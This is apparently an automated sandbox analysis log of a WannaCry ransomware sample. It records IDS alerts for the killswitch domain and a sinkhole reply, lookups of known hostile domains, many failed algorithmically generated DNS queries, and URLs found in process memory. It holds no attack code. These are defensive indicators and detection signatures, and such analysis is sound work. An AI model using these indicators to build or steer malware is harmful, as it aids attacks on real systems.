              Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Jul 2022 06:10:35 GMTContent-Type: text/htmlContent-Length: 607Connection: closeServer: cloudflareCF-RAY: 72d988d90a9b9b58-FRAData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 53 69 6e 6b 68 6f 6c 65 64 20 62 79 20 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 20 53 69 6e 6b 68 6f 6c 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 73 69 6e 6b 68 6f 6c 65 2e 63 6f 6d 2f 73 74 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 66 6c 61 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 62 6f 78 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 69 67 2d 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 68 31 3e 53 69 6e 6b 68 6f 6c 65 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 68 61 73 20 62 65 65 6e 20 73 69 6e 6b 68 6f 6c 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 2e 63 6f 6d 22 3e 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 61 3e 2e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html lang="en-us" class="no-js"><head><meta charset="utf-8"><title>Sinkholed by Kryptos Logic</title><meta name="description" content="Kryptos Logic Sinkhole"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link href="//static.kryptoslogicsinkhole.com/style.css" rel="stylesheet" type="text/css"/></head><body class="flat"><div class="content"><div class="content-box"><div class="big-content"><div class="clear"></div></div><h1>Sinkholed!</h1><p>This domain has been sinkholed by <a href="https://www.kryptoslogic.com">Kryptos Logic</a>.</p></div></div></body></html>
              Snort IDS alert for network traffic
              Source: TrafficSnort IDS: 2024291 ET TROJAN Possible WannaCry DNS Lookup 1 192.168.2.4:60506 -> 8.8.8.8:53
              Source: TrafficSnort IDS: 2024298 ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 1 192.168.2.4:49758 -> 104.16.173.80:80
              Source: TrafficSnort IDS: 2031515 ET TROJAN Known Sinkhole Response Kryptos Logic 104.16.173.80:80 -> 192.168.2.4:49758
              Source: TrafficSnort IDS: 2012730 ET TROJAN Known Hostile Domain ilo.brenz .pl Lookup 192.168.2.4:56509 -> 8.8.8.8:53
              Source: TrafficSnort IDS: 2024281 ET TROJAN Known Hostile Domain ant.trenz .pl Lookup 192.168.2.4:60612 -> 8.8.8.8:53
              Source: TrafficSnort IDS: 2024291 ET TROJAN Possible WannaCry DNS Lookup 1 192.168.2.4:61081 -> 8.8.8.8:53
              Source: TrafficSnort IDS: 2024298 ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 1 192.168.2.4:49820 -> 104.16.173.80:80
              Source: TrafficSnort IDS: 2031515 ET TROJAN Known Sinkhole Response Kryptos Logic 104.16.173.80:80 -> 192.168.2.4:49820
              Source: TrafficSnort IDS: 2811577 ETPRO TROJAN Possible Virut DGA NXDOMAIN Responses (com) 8.8.8.8:53 -> 192.168.2.4:53483
              Source: TrafficSnort IDS: 2012730 ET TROJAN Known Hostile Domain ilo.brenz .pl Lookup 192.168.2.4:57361 -> 8.8.8.8:53
              Source: TrafficSnort IDS: 2024281 ET TROJAN Known Hostile Domain ant.trenz .pl Lookup 192.168.2.4:50715 -> 8.8.8.8:53
              Tries to resolve many domain names, but no domain seems valid
              Source: unknownDNS traffic detected: query: gyablb.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: lofjzl.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: fpieey.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: bytlkv.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: updviw.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ofqlzq.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: lwmast.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: wqdqvo.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: eyzovp.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: acgwup.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: pteuey.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: jfelvk.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: rvdjxp.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ltjyqg.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: hiwfme.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: lodyin.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: pwdtvr.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: dyaqay.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: kaolci.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: tlklef.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: yqdctm.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: foubsw.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ooycfw.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ucplok.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: nazbae.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: oxhldj.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: vvafhy.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: eiyrxm.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: yiuiob.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ufkiuf.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: gcnyrz.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ntatdi.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: abuppo.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: dnfawt.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: jiauxi.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ezsibf.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: jrrxbq.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ntafnh.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ooecff.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: miypiw.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: aimfkv.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: yojfkx.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: mnxfoj.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: aolfou.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: utubwt.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: pldwaw.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: eyyaki.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: zojkvx.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: zyedxf.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: aecioj.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: xwaezn.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: hmjwyh.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: imesri.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: nydasx.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: wujogm.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ezwaah.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: qmjbki.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: iytcia.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: numuem.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: bulycg.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ynbdei.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: lsejdl.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: boscgs.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: abwssy.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: kwxvtu.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: vjwkoz.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: zsojpp.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: uqsayv.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: wyngdq.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: vquyis.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ynocfi.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: eeaqya.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ufpneq.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: fpxsvo.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: foywzb.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: qiicsw.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: boiyvi.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: jlbhfg.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: bljqyg.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: umzfvu.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: kmyyup.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ztkggj.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: oiozmk.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: vyoshc.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: iowlim.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: bhwmik.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ahyoog.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: podgkr.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: firgwb.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: vrbfui.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: xdqbja.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: yfjfhe.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ykuype.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: uefroj.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: eooqal.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: avapka.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: wyfeoi.com replaycode: Name error (3)
              Source: Joe Sandbox ViewASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comCache-Control: no-cache
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comCache-Control: no-cache
              Source: Joe Sandbox ViewIP Address: 104.16.173.80 104.16.173.80
              Source: Joe Sandbox ViewIP Address: 104.16.173.80 104.16.173.80
              Source: svchost.exe, 00000020.00000000.363290177.00000247D1CC3000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000002.790589750.00000247D1CC3000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: @http://www.facebook.com equals www.facebook.com (Facebook)
              Source: svchost.exe, 00000026.00000002.807347799.0000024ADF5BC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://Passport.NET/tb
              Source: lsass.exe, 0000000C.00000002.794771310.00000240B2CC6000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.276229130.00000240B2CBB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.280286040.00000240B2CBB000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/
              Source: lsass.exe, 0000000C.00000000.276229130.00000240B2CBB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.794484295.00000240B2CB8000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.280286040.00000240B2CBB000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
              Source: lsass.exe, 0000000C.00000000.279743423.00000240B2C23000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.275726858.00000240B2C17000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.276229130.00000240B2CBB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.277083426.00000240B2DC5000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.275757369.00000240B2C23000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.279733361.00000240B2C17000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.281102528.00000240B2DC5000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.794484295.00000240B2CB8000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.280286040.00000240B2CBB000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2SecureServerCA-2.crt0
              Source: svchost.exe, 00000011.00000002.802510440.0000025CB59A3000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000000.292455695.0000025CB59A3000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cdn.content.prod.cms.msn.com/singletile/summary/alias/experiencebyname/today?market=en-US&sou
              Source: lsass.exe, 0000000C.00000000.275676314.00000240B2C00000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.792091973.00000240B2C00000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.279694698.00000240B2C00000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001C.00000002.667191225.000001BAE2C62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
              Source: lsass.exe, 0000000C.00000000.279255324.00000240B2694000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.275301759.00000240B2694000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.789525962.00000240B2694000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl.pki.goog/gtsr1/gtsr1.crl0W
              Source: svchost.exe, 0000001C.00000002.667191225.000001BAE2C62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.ver)
              Source: lsass.exe, 0000000C.00000000.276229130.00000240B2CBB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.794484295.00000240B2CB8000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.280286040.00000240B2CBB000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
              Source: lsass.exe, 0000000C.00000000.279743423.00000240B2C23000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.276229130.00000240B2CBB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.277083426.00000240B2DC5000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.275757369.00000240B2C23000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.281102528.00000240B2DC5000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.794484295.00000240B2CB8000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.280286040.00000240B2CBB000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigicertSHA2SecureServerCA-1.crl0?
              Source: lsass.exe, 0000000C.00000000.276229130.00000240B2CBB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.794484295.00000240B2CB8000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.280286040.00000240B2CBB000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
              Source: lsass.exe, 0000000C.00000000.276229130.00000240B2CBB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.794484295.00000240B2CB8000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.280286040.00000240B2CBB000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
              Source: lsass.exe, 0000000C.00000000.279743423.00000240B2C23000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.276229130.00000240B2CBB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.277083426.00000240B2DC5000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.275757369.00000240B2C23000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.281102528.00000240B2DC5000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.794484295.00000240B2CB8000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.280286040.00000240B2CBB000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigicertSHA2SecureServerCA-1.crl0
              Source: lsass.exe, 0000000C.00000000.279743423.00000240B2C23000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.792755460.00000240B2C23000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.275757369.00000240B2C23000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
              Source: lsass.exe, 0000000C.00000000.279377828.00000240B26C1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.790645147.00000240B26C1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.275462763.00000240B26C1000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
              Source: lsass.exe, 0000000C.00000000.276229130.00000240B2CBB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.794484295.00000240B2CB8000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.280286040.00000240B2CBB000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0
              Source: lsass.exe, 0000000C.00000000.276229130.00000240B2CBB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.794484295.00000240B2CB8000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.280286040.00000240B2CBB000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0:
              Source: lsass.exe, 0000000C.00000000.279743423.00000240B2C23000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.275726858.00000240B2C17000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.276229130.00000240B2CBB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.277083426.00000240B2DC5000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.275757369.00000240B2C23000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.279733361.00000240B2C17000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.281102528.00000240B2DC5000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.794484295.00000240B2CB8000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.280286040.00000240B2CBB000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0H
              Source: lsass.exe, 0000000C.00000000.276229130.00000240B2CBB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.279212360.00000240B2685000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.277083426.00000240B2DC5000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.789163793.00000240B2685000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.281102528.00000240B2DC5000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.794484295.00000240B2CB8000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.275277465.00000240B2685000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.280286040.00000240B2CBB000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.msocsp.com0
              Source: lsass.exe, 0000000C.00000000.279255324.00000240B2694000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.275301759.00000240B2694000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.789525962.00000240B2694000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.pki.goog/gtsr100
              Source: lsass.exe, 0000000C.00000000.279255324.00000240B2694000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.275301759.00000240B2694000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.789525962.00000240B2694000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://pki.goog/repo/certs/gtsr1.der04
              Source: svchost.exe, 00000014.00000002.316213625.0000020007A13000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.bingmapsportal.com
              Source: lsass.exe, 0000000C.00000000.279743423.00000240B2C23000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.275726858.00000240B2C17000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.276229130.00000240B2CBB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.277083426.00000240B2DC5000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.275757369.00000240B2C23000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.279733361.00000240B2C17000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.281102528.00000240B2DC5000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.794484295.00000240B2CB8000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.280286040.00000240B2CBB000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.digicert.com/CPS0~
              Source: svchost.exe, 00000020.00000000.363290177.00000247D1CC3000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000002.790589750.00000247D1CC3000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.google.com
              Source: mssecsvc.exe.2.drString found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
              Source: mssecsvc.exe, 00000004.00000002.529228589.000000000019C000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comJ
              Source: svchost.exe, 00000012.00000002.785946238.0000027392843000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://%s.dnet.xboxlive.com
              Source: svchost.exe, 00000012.00000002.785946238.0000027392843000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://%s.xboxlive.com
              Source: svchost.exe, 00000012.00000002.785946238.0000027392843000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://activity.windows.com
              Source: svchost.exe, 00000014.00000003.315236249.0000020007A61000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
              Source: imprbeacons.dat.~tmp0.35.drString found in binary or memory: https://arc.msn.com/v3/Delivery/Events/Impression=&PID=400091688&TID=700129702&CID=12800000000040292
              Source: svchost.exe, 00000012.00000002.785946238.0000027392843000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://bn2.notify.windows.com/v2/register/xplatform/device
              Source: svchost.exe, 00000011.00000002.797798429.0000025CB5849000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.802510440.0000025CB59A3000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000000.291256811.0000025CB5849000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000000.292455695.0000025CB59A3000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.onenote.net/livetile/?Language=en-US
              Source: svchost.exe, 00000012.00000002.785946238.0000027392843000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://co4-df.notify.windows.com/v2/register/xplatform/device
              Source: svchost.exe, 00000014.00000002.316554886.0000020007A4A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.316368792.0000020007A2A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315259299.0000020007A49000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
              Source: svchost.exe, 00000014.00000002.316554886.0000020007A4A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315259299.0000020007A49000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/
              Source: svchost.exe, 00000014.00000003.315236249.0000020007A61000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
              Source: svchost.exe, 00000014.00000002.316515053.0000020007A3E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
              Source: svchost.exe, 00000014.00000002.316554886.0000020007A4A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315259299.0000020007A49000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Traffic/Incidents/
              Source: svchost.exe, 00000014.00000003.315236249.0000020007A61000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
              Source: svchost.exe, 00000014.00000002.316554886.0000020007A4A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315259299.0000020007A49000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=
              Source: svchost.exe, 00000014.00000002.316368792.0000020007A2A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Imagery/Copyright/
              Source: svchost.exe, 00000014.00000002.316554886.0000020007A4A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315259299.0000020007A49000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/
              Source: svchost.exe, 00000014.00000003.315236249.0000020007A61000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
              Source: svchost.exe, 00000014.00000002.316515053.0000020007A3E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
              Source: svchost.exe, 00000014.00000003.315236249.0000020007A61000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
              Source: svchost.exe, 00000014.00000003.315236249.0000020007A61000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
              Source: svchost.exe, 00000014.00000003.315236249.0000020007A61000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
